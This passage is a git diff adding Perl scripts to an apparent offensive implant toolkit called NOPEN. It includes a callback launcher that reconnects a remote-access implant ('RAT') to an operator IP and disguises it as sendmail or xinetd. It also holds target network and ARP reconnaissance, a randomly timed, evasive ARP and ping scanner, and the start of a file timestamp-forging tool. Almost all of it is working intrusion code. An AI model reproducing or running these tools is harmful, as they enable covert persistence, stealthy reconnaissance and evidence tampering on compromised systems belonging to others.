inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless $nopen_rhostname; + } + + dbg("in autoaltcall, got ip = =$callbackip= and port = =$callbackport="); + + mydie("bad option(s)") if (! Getopts( "hw:r:PvA:R" ) ) ; + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"$prog\" is used. + +"; + $gsusagetext="Usage: $prog [OPTIONS] IP [PORT [PORT2] [...PORTn] ] [OPTIONAL FAKE-ARGS] + +$prog implementnts an alternate method for performing a callback with +NOPEN on HP-UX, Solaris or Linux hosts. This method is useful when -call +does not work properly on the target or you want to run NOPEN as a new +name. On HPUX, if not run from the original working directory, $prog +prompts for the path to your NOPEN on target. + +NEW: If multiple ports are given, that many different callbacks are made, +all to the same IP. + +When we execute the NOPEN callback we first use exec to close all file +descriptors in /proc/PID/fd of our current process. + +On Linux (if -R is not used): +============================ +$prog will use PATH=/proc/PID, where PID is that of the running NOPEN +server we are connected to in the current window. Then the executable +\"exe\" will be run with \"exec -a\" syntax generated based on both the +-r and -A arguments. E.g.: + + PATH=/proc/PID D=-cDEST_IP:DEST_PORT exec -a \"NAME ARGS\" exe + +On Solaris (and on Linux when -R is used): +========================================= +When invoked, $prog will determine the PID of the NOPEN server for the +session it was invoked in, use the target copy command to retrieve a copy +of the noserver binary from /proc and deposit it in the current working +directory, and execute it with the following syntax: + + PATH=. D=-ucIP:PORT NAME [OPTIONAL FAKE-ARGS] + +If PORT is not specified, a random high port is used. +$COLOR_FAILURE +NOTE: Each such NOPEN server that calls back will have its own program + group, so a single -burn/BURN will NOT kill them all. First use a + kill -9 to kill any HUNG sessions, then for windows that are still + healthy an -exit will suffice. Use =ps or -gs nocheck in your final + window to ensure all others are gone, then -exit. +$COLOR_NORMAL +OPTIONS + + -h/-v Show usage statement/version number + + -A ARGS Arguments to give NAME on target (in ps output). To use + several arguments, list them \",,\" delimited, e.g.: + -r xinetd --Astayalive,,-pidfile,,/var/run/xinetd.pid + --> \"xinetd -stayalive -pidfile /var/run/xinetd.pid\" + -P Use the ./NAME syntax in lieu of the PATH=. NAME syntax + -r NAME Name for the RAT in the process list (default: sendmail) + -R Revert to the old method on Linux (ignored on Solaris) + -w DIR Directory to run the RAT from (default: ./) + +Usage: $prog [OPTIONS] IP [PORT [PORT2] [...PORTn] ] [OPTIONAL FAKE-ARGS] + +"; + + + usage() if ($opt_h or $opt_v or !@ARGV); + + # Get the IP and port from the command line. + foreach my $arg (@ARGV) { + my ($arg2) = $arg =~ /:(\d+)/; + $arg =~ s,:.*,,g if ($arg2); + if ($arg =~ /^(\d+\.\d+\.\d+\.\d+)$/) { + $callbackip = $1; + next unless $arg2; + $arg = $arg2; + } + if ($arg =~ /(\d+)/) { + $callbackport{$1} = $1 if ($1 > 0 and $1 < 65536); + next; + } + $args .= " $arg"; + } + $callbackport{myrand()}++ unless (keys %callbackport > 0); + + $socket = pilotstart(quiet) unless $socket; + ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid, + $localppid,$serverver,$wdir,$targetos,$targetcwd,$targetpid, + $targetppid,$targetport,$localport,@statusoutput) = parsestatus(); + + $dir = $opt_w if $opt_w; + $dir = $targetcwd unless $dir; + + $ratname = $opt_r if $opt_r; + $dotslash = $opt_P if $opt_P; + + $useexec = ($linuxtarget and !$opt_R) ? 1 : 0; + + # Bail if issues + + offerabort("It is almost$COLOR_FAILURE CERTAINLY$COLOR_NORMAL a bad idea to upload to $dir.\n". + "You should likely abort.","A") + if ($dir =~ m,^/+$,); + + if ($callbackip =~ /0.0.0.0/ or !ipcheck($callbackip)) { + mydie("Invalid IP $callbackip - bailing!"); + } + mydie("RAT NAME $name cannot contain any \"/\" characters") + if ($ratname =~ m,/, and (!$useexec)); + + ($ratname,@ratargs) = split(/\s+/,$ratname); + if ($opt_A and @ratargs) { + mydie("Put your ARGS in either -A option, or the -r option, not in both"); + } + @ratargs = split(/,,/,$opt_A) + unless @ratargs; + preservefile("$optargetcommands/${nopen_rhostname}_ps.altcall"); + unless ($ratname) { + my ($output,$nopenlines,@output) = + doit("=ps"); + my (@lines) = grep /\s$targetpid\s+$targetppid\s/,@output; + # Some OSes the =ps will not show "pid ppid" back to back + (@lines) = grep /\s$targetpid\s/,@output unless (@lines); + ($ratname) = $lines[0] =~ /.*:\d\d\s+(.*)/; + $ratname =~ s,\s*$,,; + ($ratname) = $ratname =~ m,.*/([^/]+), + if ($ratname =~ m,/,); + if (#$ratname =~ /\s/ or + @lines > 1 or + $ratname =~ m,/,) { + my ($ans,$longans) = mygetinput + ("Your NOPEN session is:\n\n". + join("\n",@lines)."\n\n". + "What name would you like to use for the new one?",$ratname,"abort","a"); + mydie("User aborted") + if (lc $longans eq "a" or lc $longans eq "abort"); + $ratname = $longans; + } + } + mydie("-w not allowed on HP-UX, just run from your original directory, where $ratname is") + if ($opt_w and $hpuxtarget);; + $ratname2 = $ratname; + $ratname =~ s, ,\\ ,g; + + +} #myinit diff --git a/Linux/etc/autoarp b/Linux/etc/autoarp new file mode 100755 index 0000000..ae12d49 --- /dev/null +++ b/Linux/etc/autoarp @@ -0,0 +1,506 @@ +#!/usr/bin/env perl +## +$VER="1.5.0.11" ; +# nopen seems happier with stderr in lsh runs +# or does it? Took it out now... +#select STDERR ; +$| = 1 ; +my %myhostips = (); +my %myvirtualips = (); +my (@allicmpreplies,%ttls) = (); +my @myipsarp = (); +myinit() ; +$output = ""; + +my $nobuiltinifconfig = 0; +$nobuiltinifconfig = 1 + if ($junostarget); + +($ifconfigoutput,@ifconfigfiles) = + readfile("FILES","$optargetcommands/ifconfig*", + "$opdown/ifconfig*$nopen_rhostname*",); +#offerabort("ifconfigfiles=(".join("\n",@ifconfigfiles)."\n)"); + +$ifconfigoutput = "" + if ($ifconfigoutput =~ /^(\# -ifconfig\n)+$/); + +if ($ifconfigoutput) { + my $age = ""; + if (-f $ifconfigfiles[0]) { + $age = secstostr(24 * 60 * 60 * -M $ifconfigfiles[0]); + $age = " ($age old)"; + } + my $more = $COLOR_NORMAL; + progprint("+\nUsing previous ifconfig$age saved as \n". + " ".join(" and \n ",@ifconfigfiles)."\n". + "containing:\n".$ifconfigoutput); +} else { + my $dbgct = 0; + my ($results,$newifconfigfile) = (); + if ($hpuxtarget) { + my $ifcmd = ""; + ($results,$newifconfigfile) = + doitwrite("ARRAY","netstat -in") unless $builtinsonly; + foreach my $line (split(/\n/,$results)) { + my ($name) = split(/\s+/,$line); + next if $name eq "Name"; + $ifcmd .= " ; echo ; " if $ifcmd; + $ifcmd .= "ifconfig $name"; + } + ($results,$newifconfigfile) = + doitwrite("ARRAY","$ifcmd") unless $builtinsonly; + + } else { + ($results,$newifconfigfile) = + doitwrite("ARRAY","ifconfig -a") unless $builtinsonly; + } + ($results,$newifconfigfile) = + doitwrite("ARRAY","-ifconfig"); + ($ifconfigoutput,@ifconfigfiles) = + readfile("FILES","$optargetcommands/ifconfig*", + "$opdown/ifconfig*$nopen_rhostname*",); +# offerabort("second ifconfigfiles=(".join("\n",@ifconfigfiles)."\n)"); + +} +dbg("$dbgct Got output=$ifconfigoutput="); +my $split = "\n\n"; +$split = "\n" unless ($ifconfigoutput =~ /\n\n/); +my @ifconfigoutput = split(/$split/,$ifconfigoutput); + +if ($ifconfigoutput) { + my ($junk,$line,$intf,$ip,$bcast,$mask,$mac) = (); + foreach (@ifconfigoutput) { + $dbgct++; + s/:\s+/ /g; + s/\n/ /g; + if ($nobuiltinifconfig) { + ($intf) = /^(\S+)/ unless ($intf and $intf !~ /^lo/i); + $intf =~ s,:+$,,; + ($ip) = /inet (\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/ unless $ip; + ($mask) = /netmask\s+(\S+)/ unless $netmask; + ($junk,$bcast) = /(bcast|broadcast)[:\s]+(\S+)/i unless $bcast; + ($junk,$mac) = /(ether|hwaddr)\s+(\S+)/ unless $mac; + } else { + ($intf,$morejunk,$ip,$junk,$bcast,$junk,$mask,$junk,$junk,$mac) = + /(\S+)\s+(.*)\s(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s.*cast([\s:]+)(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s+.*mask([\s:]+)(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s+(hwaddr|ether)([\s:]+)([\da-f]+:[\da-f]+:[\da-f]+:[\da-f]+:[\da-f]+:[\da-f]+)/i ; + } + dbg(" + +morejunk=$morejunk= + + + (\$intf,\$ip,\$bcast,\$mask,\$mac) = + ($intf,$ip,$bcast,$mask,$mac) = + + $dbgct ip=$ip= mac=$mac= intf=$intf= bcast=$bcast= mask=$mask= line=$_= + +"); + # We skip "lo" loopback + if ($intf =~ /^lo/i) { + ($ip,$mac,$mask,$bcast) = (); + next; + } + next unless ($intf and $ip and $mac); + + # ASSERT: We have a non-loopback interface + $mac = lc $mac; + # We make sure every byte is two characters by + # prepending 0, then trimming to just 2 characters + $mac =~ s,([\da-f]+),0\1,g; + $mac =~ s,0([\da-f][\da-f]),\1,g; + $myhostips{$ip} = $mac; + push(@myipsarp,"? ($ip) at $mac [local] my $intf"); + $host_iplist{$nopen_rhostname} = "(intf,ip,bcast,mask,mac)\n" + unless $host_iplist{$nopen_rhostname}; + $host_iplist{$nopen_rhostname} .= "($intf,$ip,$bcast,$mask,$mac)\n" + unless ($host_iplist{$nopen_rhostname} =~ /\($intf,$ip/); + newhostvar("host_iplist{$nopen_rhostname}",$host_iplist{$nopen_rhostname}); + dbg("Setting: + newhostvar(host_iplist{$nopen_rhostname} = $host_iplist{$nopen_rhostname} +"); + } +} +foreach (@ifconfigoutput) { + if (!$junostarget) { + my $netmask = $1 if /netmask (\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/; + my $address = $1 if /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}) broadcast/; + if (/(bcast|broadcast)[:\s]+(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/i and + !$gotit{$2}++) { + unless ($2 =~ /^127/) { + push (@broadcasts,$2); + ($network{$2}) = `ipcalc -n $address $netmask 2>/dev/null` =~ /=(.*)/; + $netmask{$2} = $netmask; + } + } + } else { +#dbg("Got line=($_)"); + my ($address,$cidr) = ($1,$2) if /inet.*dest=(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\/(\d{1,2}).*/; +#dbg("Got addr=($address)"); + # FIXME: need to parse the $cidr to get the proper netmask... + my $netmask = `ipcalc -m $address 2>/dev/null` =~ /=(.*)/; + if (/inet.*bcast=(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/ and + !$gotit{$1}++) { + unless ($1 =~ /^127/) { + push (@broadcasts,$1); + ($network{$1}) = `ipcalc -n $address $netmask 2>/dev/null` =~ /=(.*)/; + $netmask{$1} = $netmask; + } + } + } +} + +$broadcasts{$_}++ foreach (@broadcasts) ; +my (%mymacs,%macshown,%ipshown) = (); +$pingdone = 0 ; + +if ($doping) { + my $dbgstr = ""; + foreach my $key (keys %broadcasts) { + $dbgstr .= " \nbroadcasts{$key}=$broadcasts{$key}"; + } + foreach my $key (keys %broadcasts) { + my ($output,$nopenlines,@output) = doit("-ping $key"); + dbg("-gs arp, with nopenlines=$nopenlines= +output=$output="); + my (@replies) = grep /ICMP Reply/,@output; + push (@allicmpreplies,@replies); + foreach my $reply (@replies) { + $ttls{$1}++ if $reply =~ /TTL\s+(\d+)/; + } + unless (%ttls) { + doit("ping $pingargs $key"); + sleep 2; + } + } +} +sleep 3 if $pingdone; + + +unless ($localonly) { +# if (open(ARPOUT,">>$optargetcommands/arp.${nopen_rhostname}")) { +# foreach (@myipsarp) { +# print "$_\n"; +# } +# close(ARPOUT); +# } + my $arpcmd = "=arp"; + + $arpcmd = "arp -a" + if ($solaristargetversion =~ /^2\.[5678]/); + + + my (undef,$arpfile) = doitwrite("ARRAY",$arpcmd); + +# preservefile("$opdown/ethcheckout.txt.$nopen_rhostname"); + + # Every host now gets its own raw and txt both, no more mixing + if (-f "$opdown/ethcheckout.raw.$nopen_rhostname") { + copy("$opdown/ethcheckout.raw.$nopen_rhostname","$opdown/ethcheckout.raw"); + } else { + unlink("$opdown/ethcheckout.raw"); + } + dbg("arpfile=$arpfile=\n". +"DBG: BEFORE: \n".`ls -alrt $opdown/ethch*`); +# copy("$opdown/ethcheckout.txt","$opdown/ethcheckout.txt.$nopen_rhostname"); + if ($solaristarget) { + my (undef,$netstatfile) = doitwrite("ARRAY","netstat -np") ; + if (grep /an: unknown host/ , readfile("ARRAY",$netstatfile)) { + `cat $netstatfile | ethcheck`; + } else { + `cat $arpfile | ethcheck`; + } + } else { + `cat $arpfile | ethcheck`; + } + if ($aixtarget) { + my @morefiles = findfilematching("","fnnetstat_-in\*",$optargetcommands); + if (@morefiles > 0) { + `cat $morefiles[-1] | ethcheck --self`; + } + } + + rename("$opdown/ethcheckout.raw","$opdown/ethcheckout.raw.$nopen_rhostname"); + rename("$opdown/ethcheckout.txt","$opdown/ethcheckout.txt.$nopen_rhostname"); + + foreach (@output,@myipsarp) { + next unless (my ($mac) = /(([0-9a-f]{1,2}:){5}[0-9a-f]{1,2})/i); + $mac = lc $mac; + # We set with both one digit octets and 0 padded to be safe +#dbg("Setting \$mymac{$mac} = $nopen_rhostname"); + $mymac{$mac} = $nopen_rhostname; + $mac =~ s/([0-9a-f]+)/0\1/g; + $mac =~ s/0([0-9a-f]{2})/\1/g; +#dbg("Setting mactohost \$mymac{$mac} = $nopen_rhostname"); + $mymac{$mac} = $nopen_rhostname; + } +} + + +# NEW 2012: move XEN+ to autonewdone + + +my $maxwidth=0; +if (0) { # COMMENTING WITH if 0 THIS ALL SUCKS +my $output = ""; +my %inoutput = (); +my $lateroutput = ""; +my $warningoutput = ""; +my $warningheader = 0; +my %output = (); # Hashed on "VMWARE" or "XEN", etc. +my %ouripsoutput = (); # Hashed on "VMWARE" or "XEN", etc. +foreach my $which ("VMWARE","XEN") { + if (open(ARPIN2,"$opdown/ethcheckout.txt.$which.$nopen_rhostname")) { + while () { + next if (/^$/ or + /^From / or + /^WARN/); + my ($junk,$thisip) = /(^|\D)(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})($|\D)/; + $output{$which} .= $_; + if ($thisip and $myhostips{$thisip}) { + $ouripsoutput{$which} .= $_ ; + $myvirtualips{$thisip}++; + } +#dbg("which=$which getting longer: $_"); + } + close(ARPIN2); + } +} +open(OUT,"> $opdown/ethcheckout.txt.$nopen_rhostname"); +if (open(ARPIN,"$opdown/ethcheckout.txt")) { + while () { + # dump the 32 bit mask Solaris puts in there + s/\s255\.255\.255\.255/ /g; + if (($mac,$ip) = /^(\S+)\s.*\D(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\D/) { + $mac = lc $mac; + my $newmac = cleanmac($_) ; + if (my $newmac eq cleanmac($mac)) { + #dbg("at ip=$ip Setting newmac version: orig mac=$mac now mac=$newmac"); + $mac = $newmac; + } + foreach $netmask (keys %netmask) { + my ($cleanmac) = $mac =~ /([^\+]+)/; + ($network) = `ipcalc -n $ip $netmask 2>/dev/null` =~ /=(.*)/; +#dbg("GOTIT: \$mymac{$mac}=$mymac{$mac}=") if $mymac{$mac} eq $nopen_rhostname; +#dbg("GOTIT: \$mymac{$cleanmac}=$mymac{$cleanmac}=") if $mymac{$cleanmac} eq $nopen_rhostname; + my $match=0; + foreach $matchnet (values %network) { +#dbg("Found $network eq $matchnet or \$mymac{$cleanmac}=$mymac{$cleanmac}") if $network eq $matchnet or $mymac{$cleanmac}; +#dbg("Found $network eq $matchnet or \$mymac{$mac}=$mymac{$mac}") if $network eq $matchnet or $mymac{$mac}; + $match++ if $network eq $matchnet or $mymac{$cleanmac}; + last if $match; + } + if ($match and !$inoutput{$_}) { + if (/((xen|vmware|virtual)\S*)/i) { + my $which = uc $1; + $which =~ s/[,-\.]+$//; + $output{$which} .= "$_\n"; + $ouripsoutput{$which} .= $_ + if ($ip and $myhostips{$ip}); + } + unless ($broadcast{$ip} or /^\#\#\#\#/) { + $ipshown{$ip}++; + $mac =~ s/\++$//; + $macshown{$mac}++; + $output .= $_; + $maxwidth = maxof($maxwidth,length $_); + $inoutput{$_}++; + } + } + } + } else { + if (/Unique .*found.*:\s*(\d+)/) { + chomp; + my $count = $1; + s/found/in ethcheckout.txt/; + s/:.*/:/; + $lateroutput .= sprintf("$_ %5d\n",$count); + } else { + $output .= "$_\n"; + $maxwidth = maxof($maxwidth,length $_); + } + } + } + if (!$popupresults) { + foreach my $which (keys %ouripsoutput) { + my $ouripoutput = "\n\n". + "WARNING: WE ARE ON A $which HOST (YES, $nopen_rhostname is a likely virtual host!!! Get help unless that is expected)\n\n"; + my @lines = split(/\n/,$ouripsoutput{$which}); + my $lines = @lines + 6; + $ouripsoutput .= join("\n", uniqify_array(sort @lines)). + "\n\n"; + $ouripsoutput =~ s,\n+,\n,g; + if (open(OUT2,"> $opdown/ethcheckout.txt.$which.$nopen_rhostname")) { + print OUT2 $ouripsoutput; + close(OUT2); + } + # This we pop up regardless of $popupresults setting. + filepopup("$opdown/ethcheckout.txt.$which.$nopen_rhostname", + "-geometry 106x$lines -title \"$nopen_rhostname $prog: $which hosts\" -bg red -fg white",noage); + $warningoutput .= $ouripsoutput; + } + } else { + # We pop up ALL virtuals, add comment that WE ARE ONE if we are + foreach my $which (keys %output) { + my $output = ""; + my ($is,$s) = ("is",""); + ($is,$s) = ("ese","s") + if (keys %myvirtualips > 1); + $output .= "\n\nSEVERE WARNING: We are a virtual host on th$is ip$s:\n\n ". + join("\n ",sort by_num keys %myvirtualips) + if (%myvirtualips); + $output .= "\n\n". + "WARNING: I SEE $which HOSTS near $nopen_rhostname!!! (likely virtual hosts, be aware)\n\n"; + my @lines = split(/\n/,$output{$which}); + my $lines = @lines + 6; + $output .= join("\n", uniqify_array(sort @lines)). + "\n\n"; + $output =~ s,\n+,\n,g; + if (open(OUT2,"> $opdown/ethcheckout.txt.$which.$nopen_rhostname")) { + print OUT2 $output; + close(OUT2); + } + filepopup("$opdown/ethcheckout.txt.$which.$nopen_rhostname", + "-geometry 106x$lines -title \"$nopen_rhostname $prog: $which hosts\" -bg red -fg white",noage) + if $popupresults; + $warningoutput .= $output; + } + } +} else { + mydie("Try without local/-l argument, ethcheckout.txt does not yet exist") + unless (-e "$opdown/ethcheckout.txt"); + mydie("Cannot open $opdown/ethcheckout.txt: $!"); +} +$output .= " Unique MACs shown above: ".sprintf("%5d",scalar(keys %macshown))."\n"; +$output .= " Unique IPs shown above: ".sprintf("%5d",scalar(keys %ipshown))."\n"; +$output .= "##\n"; +print OUT $output.$lateroutput; +close(OUT); +progprint($output.$lateroutput); +#mywarn($warningoutput,"POPUP-bg red") if $warningoutput ; +dbg("popupresults=$popupresults="); + +#ENDif (0) COMMENTING WITH if 0 THIS ALL SUCKS +} + +#preservefile("$opdown/ethcheckout.txt.$nopen_rhostname"); +#copy("$opdown/ethcheckout.txt","$opdown/ethcheckout.txt.$nopen_rhostname"); + +if ($popupresults) { + chomp(my $linecount = `cat $opdown/ethcheckout.txt.$nopen_rhostname | wc -l`); + if ($linecount and open(ARPIN,"$opdown/ethcheckout.txt.$nopen_rhostname")) { + while() { + $maxwidth = maxof($maxwidth,length $_); + } + close(ARPIN); + } + $maxwidth = minof(150,$maxwidth); + $linecount = minof(74,$linecount); + filepopup("$opdown/ethcheckout.txt.$nopen_rhostname", + "-geometry ${maxwidth}x$linecount-0+0 -title \"$nopen_rhostname $prog: hosts\"",noage); +} + + +dbg("DBG: AFTER: \n".`ls -alrt $opdown/ethch*`); + +if ( $doping and $prog eq "-gs arp" and %ttls) { + my $summary = "\n\n-ping BROADCASTS summary:\n\n"; + $summary .= sprintf("%9d",scalar @allicmpreplies) . + " ICMP Replies were received\n\n"; + foreach my $ttl (keys %ttls) { + $summary .= sprintf("%9d",$ttls{$ttl}) . " had TTL $ttl\n"; + } + progprint($summary); +} + + + +# End with true value as we require this script elsewhere. +1; +#ENDMAIN +sub cleanmac { + # Return consistently formatted mac if found on line sent + local ($_) = (@_); + $_ = " $_ "; + return "" unless /[^0-9a-f](([0-9a-f]{1,2}[- :]){5}[0-9a-f]{1,2})[^0-9a-f]/i; + my $mac = $1; + $mac =~ s/([0-9a-f]+)/0\1/g; + $mac =~ s/0([0-9a-f]{2})/\1/g; + return $mac; +} + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs arp @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs arp"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"$prog\" is used. + +"; + $gsusagetext=" +Usage: $prog [-Pplh] [ping] [local] + +$prog calls $opetc/autoarp. If \"ping\" or \"-p\" is an argument, +autoarp finds the current host's broadcast addresses from its +\"-ifconfig\" output and pings them all, then sleeps 3 seconds to allow +the arp cache to stabilize. + +Next, unless \"local\" or \"-l\" is an argument, autoarp runs =arp to +get the current arp cache. + +If $prog is given the -P option, the results are NOT popped up in a +separate window (default is they are). + +Finally, $prog parses the contents of $opdown/ethcheckout.txt and +shows all entries from this target, also saving that output in +$opdown/ethcheckout.txt.\$NOPEN_RHOSTNAME. + +"; + mydie("bad option(s)") if (! Getopts( "hvplP" ) ) ; + usage() if ($opt_h or $opt_v) ; + # Arguments? + $popupresults = !$opt_P; + $doping=0; + $pingargs=""; + while (@ARGV) { + my $arg = shift(@ARGV); + if (lc $arg eq "ping") { + $opt_p++; + } + if (lc $arg eq "local") { + $opt_l++; + } + } + if ($opt_p) { + $doping++; + if ($linuxtarget) { + $pingargs = "-b -nc2"; + } elsif ($darwintarget) { + $pingargs = "-c2"; + } + } + $localonly = $opt_l; + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; +}#myinit diff --git a/Linux/etc/autoarpscan b/Linux/etc/autoarpscan new file mode 100755 index 0000000..57cc07e --- /dev/null +++ b/Linux/etc/autoarpscan @@ -0,0 +1,211 @@ +#!/usr/bin/env perl +## +use List::Util qw(shuffle); +$VER="1.1.0.1"; +setusage(); +$| = 1 ; +myinit() ; +@followip = (); +import autoutils; + + + + +my ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$targetwdir,$targetos,$targetcwd,$targetpid,$targetppid,$targetport) + = parsestatus(force); + +#see if arping is in our path: +mydie("Can't find arping binary.") if (!(whichbin("arping"))); + +offerabort( "${COLOR_FAILURE}CONFIRMING:\n$COLOR_NORMAL$prog is about to run with the options:\n". +" Start IP Address: $startIP\n". +" End IP Address: $endIP\n". +" Ethernet Interface: $outInterface\n". +" Interval Time: $btime\n". +"If settings are not correct, abort now.\n"); + +($output,$nopenlines,@output) = doit("-ifconfig"); +mydie("Interface is invalid.") unless grep /$outInterface/,@output; +@arpstuff=arpScan(); + +if ($elevate) { + $numberping=@followip; + offerabort("Do you want to continue on to ping?? We will be pinging $numberping boxes......"); + @pingresult=pingscan(); +} + +dolocalecho("@arpstuff\n\n", @pingresult); + +# Called via do so must end with 1; +1; + + +sub arpScan { + ($output,$nopenlines,@output) = doit("-ifconfig"); + for ($i=0; $i < @output; $i++){ + $line = @output[$i]; + if (@output[$i] =~ $outInterface) { + $i++; + @tsource = split(" ",$output[$i]); + $source = @tsource[1]; + last; + } + } + my @ipArray = genAddrArray ($startIP, $endIP); + my ($alow,$ahigh) = split /-/, $btime; + my @hitoutput = (); + + mydie("Interval time is invalid:\n". + " Low: $alow\n High: $ahigh\n") if ($alow <= 0 || $ahigh <= 0); + + foreach $arpIP (@ipArray) { + my $atime = randInt($alow, $ahigh); + ($output,$nopenlines,@output) = doit("arping -I $outInterface -c 1 $arpIP"); + sleep($atime); + foreach $line (@output){ + + if ($line =~ /([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}/){ + push(@hitoutput,"\n"); + push(@hitoutput,$line); + @ip = split(" ", $line); + push(@followip,@ip[3]); + + } + } + } + + return @hitoutput; +} + + + + + +sub pingscan { + @shuffleip=shuffle(@followip); + foreach $pingip (@shuffleip) { + my $atime = randInt($alow, $ahigh); + ($output,$nopenlines,@output) = doit("-ping -r $pingip -l $source"); + sleep($atime); + @sout=split(/\s+/,$output); + shift(@sout); + $output=join(" ",@sout); + if ($output =~ "Reply") { + push(@pingresult,"$output\n"); + } + } + return @pingresult; +} + +sub genAddrArray { + + my ($sIP, $eIP) = @_ ; + my @a = (); + my ($s1,$s2,$s3,$s4) = split /\./, $sIP ; + my ($e1,$e2,$e3,$e4) = split /\./, $eIP ; + + mydie("Start and end are outside a single Class C.") if (!($e1 == $s1) or !($e2 == $s2) or !($e3 == $s3)); + + $sNetwork = join('.',$s1,$s2,$s3); + + #generate array from start and end octets + for ( $i = $s4 ; $i <= $e4 ; $i++) { + push(@a,join('.',$sNetwork,$i)); + } + + return shuffle(@a); + +} + +sub randInt { + + my ( $low, $high ) = @_; + # right order + ($low,$high) = ($high,$low) if $low > $high; + return $low + int(rand($high - $low + 1 )); + +} + + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0 unless $calledviarequire; + $stoiccmd = "called as: -gs arpscan @ARGV"; + if ($willautoport and $socket) { + $stoiccmd = "in $prog, called as: arpscan(@ARGV)"; + dbg("via require autoarpscan ARGV=( +".join("\n",@ARGV)." +) prog=$prog"); + # progprint("$prog called -gs arpscan @ARGV"); + $calledviarequire = 1; + } else { + $prog = "-gs arpscan"; + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $vertext = "$prog version $VER\n" ; + } + clearallopts(); + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + + my $origoptions = "@ARGV"; + mydie("bad option(s)") if (! Getopts( "vt:s:e:i:hp" ) ) ; + + ########################################################################### + # PROCESS ARGUMENTS + ########################################################################### + + + usage() if ($opt_h or $opt_v); + + mydie("Interface, Start, and End addresses must be specified (-i/-s/-e).") if (!($opt_s && $opt_e && $opt_i)); + + if ($opt_p){ + $elevate=1; + } + if (!$opt_t){ + $btime = "1-6"; + } else { + $btime = $opt_t; + } + $startIP = $opt_s; + $endIP = $opt_e; + $outInterface = $opt_i; + + #mydie("-t $opt_t must be a valid positive time") + # unless($btime > 0 ); + + + # Connect to autoport, we need status and more interactively. + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; + +} + + +sub setusage { + $usagetext="\n\nUsage: $prog \n". +"NOT CALLED DIRECTLY\n". +"$prog is run from within a NOPEN session via when \"$prog\" is used.\n"; + + $gsusagetext="\n\nUsage: $prog [-t TIME-TIME] -s IP -e IP -i INTERFACE\n". +" $prog will arp scan a range of IP addresses in random order, with a random interval.\n". +" -t TIME-TIME The time interval arp is passed. Randomly pick a number within\n". +" the given range to get the arp interval. Example: 1-4 NOTE: Default is 1-6\n". +" -s IP Start IP address of the range to scan.\n". +" -e IP End IP Address of the range.\n". +" -i INTERFACE The interface used to arp out. \n\n". +" -p Elevate to ping following successful arp(Will give you the chance to abort if taarget list is too large)\n". +"NOTE: Start and end IP addresses must fall within the same Class C.\n\n". +"Usage: $prog [-t TIME-TIME] -s IP -e IP -i INTERFACE\n\n"; +} diff --git a/Linux/etc/autoasciitouch b/Linux/etc/autoasciitouch new file mode 100755 index 0000000..3a6fdb9 --- /dev/null +++ b/Linux/etc/autoasciitouch @@ -0,0 +1,146 @@ +#!/usr/bin/env perl +$VER="1.0.0.1" ; +myinit() ; +my ($mtime,$atime) = (); +if ($args =~ s/^\s*(\d+)(:\d+){0,1}\s+(\/)/$3/ ) { + $mtime=$1; + if (length($2)) { + $atime=$2; + $atime =~ s/^:+//; + } else { + $atime=$mtime; + } +} else { + # Loop while we have date/times + while (1) { + my ($monstr,$monnum,$mday,$year,$hrmin,$sec,$therest,$mon,$thistime) = (); + if ($args =~ + s/(\d+)\/(\d+)(\/\d+){0,1}\s+(\d+:\d+)(:\d+){0,1}\s+(.*)// ) { + ($monnum,$mday,$year,$hrmin,$sec,$therest) = + ($1,$2,$3,$4,$5,$6); + $year =~ s/^\/+//; + $monstr = $mons[$monnum-1]; + } elsif ($args =~ + s/(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+(\d+)\s+(\d+:\d+)(:\d+){0,1}(\s+\d+){0,1}(.*)//i ) { + ($monstr,$mday,$hrmin,$sec,$year,$therest) = + ($1,$2,$3,$4,$5,$6); + $monstr = ucfirst lc $monstr; + }#endif which format + if ($sec eq "") {# randomize $sec if not given + ($sec) = padto(2,int(rand(60))); + $sec = ":$sec"; + } + # it is epochseconds() that decides to use current year if + # none found in string. + if ($monstr and $mday and $hrmin) { + ($thistime) = epochseconds("$monstr $mday $hrmin$sec $year"); + } else { + $atime = $mtime if ($mtime and !$atime); + last; + } + $args = $therest; + if (!$mtime) { + $mtime = $thistime; 